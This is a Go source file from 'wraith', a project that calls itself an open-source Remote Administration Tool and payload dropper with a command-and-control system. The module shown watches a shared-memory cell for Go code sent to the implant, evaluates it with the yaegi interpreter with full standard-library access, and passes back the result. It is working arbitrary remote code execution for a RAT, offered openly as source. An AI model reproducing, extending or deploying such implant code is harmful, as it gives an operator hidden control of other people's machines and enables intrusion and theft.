[WIP] A free and open-source, modular Remote Administration Tool (RAT) / Payload Dropper written in Go(lang) with a flexible command and control (C2) system.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
wraith/wraith/stdmod/ExecGoModule.go

89 lines
2.1 KiB

package stdmod
import (
"context"
"fmt"
"sync"
"git.0x1a8510f2.space/0x1a8510f2/wraith/wraith/libwraith"
"github.com/traefik/yaegi/interp"
"github.com/traefik/yaegi/stdlib"
)
const (
ExecGoModule_SHM_EXECUTE = "w.execgo.execute"
ExecGoModule_SHM_RESULT = "w.execgo.result"
)
type ExecGoModule struct {
mutex sync.Mutex
}
func (m *ExecGoModule) Mainloop(ctx context.Context, w *libwraith.Wraith) {
// Ensure this instance is only started once and mark as running if so
single := m.mutex.TryLock()
if !single {
panic(fmt.Errorf("already running"))
}
defer m.mutex.Unlock()
// Watch a memory cell for stuff to execute
execCellWatch, execCellWatchId := w.SHMWatch(ExecGoModule_SHM_EXECUTE)
// Always cleanup SHM when exiting
defer func() {
// Unwatch cells
w.SHMUnwatch(ExecGoModule_SHM_EXECUTE, execCellWatchId)
}()
// Mainloop
for {
select {
// Trigger exit when requested
case <-ctx.Done():
return
// Manage w.debug watch
case value := <-execCellWatch:
// Make sure the value is a string. If not, ignore it.
code, ok := value.(string)
if !ok {
continue
}
// Initialise yaegi to handle commands
i := interp.New(interp.Options{})
i.Use(stdlib.Symbols)
// The code should generate a function called "f" to be executed.
// That function should return some value which is used as the result. If no
// result is to be returned, the function should return `nil`.
_, err := i.Eval(code)
if err != nil {
w.SHMSet(libwraith.SHM_ERRS, fmt.Errorf("w.execgo error while evaluating code: %w", err))
continue
}
fnv, err := i.Eval("f")
if err != nil {
w.SHMSet(libwraith.SHM_ERRS, fmt.Errorf("w.execgo error while evaluating f: %w", err))
continue
}
fn, ok := fnv.Interface().(func() any)
if !ok {
w.SHMSet(libwraith.SHM_ERRS, fmt.Errorf("w.execgo f has incorrect type"))
continue
}
// Execute the function and send the result if one is returned
result := fn()
if result != nil {
w.SHMSet(ExecGoModule_SHM_RESULT, result)
}
}
}
}
func (m *ExecGoModule) WraithModuleName() string {
return "w.execgo"
}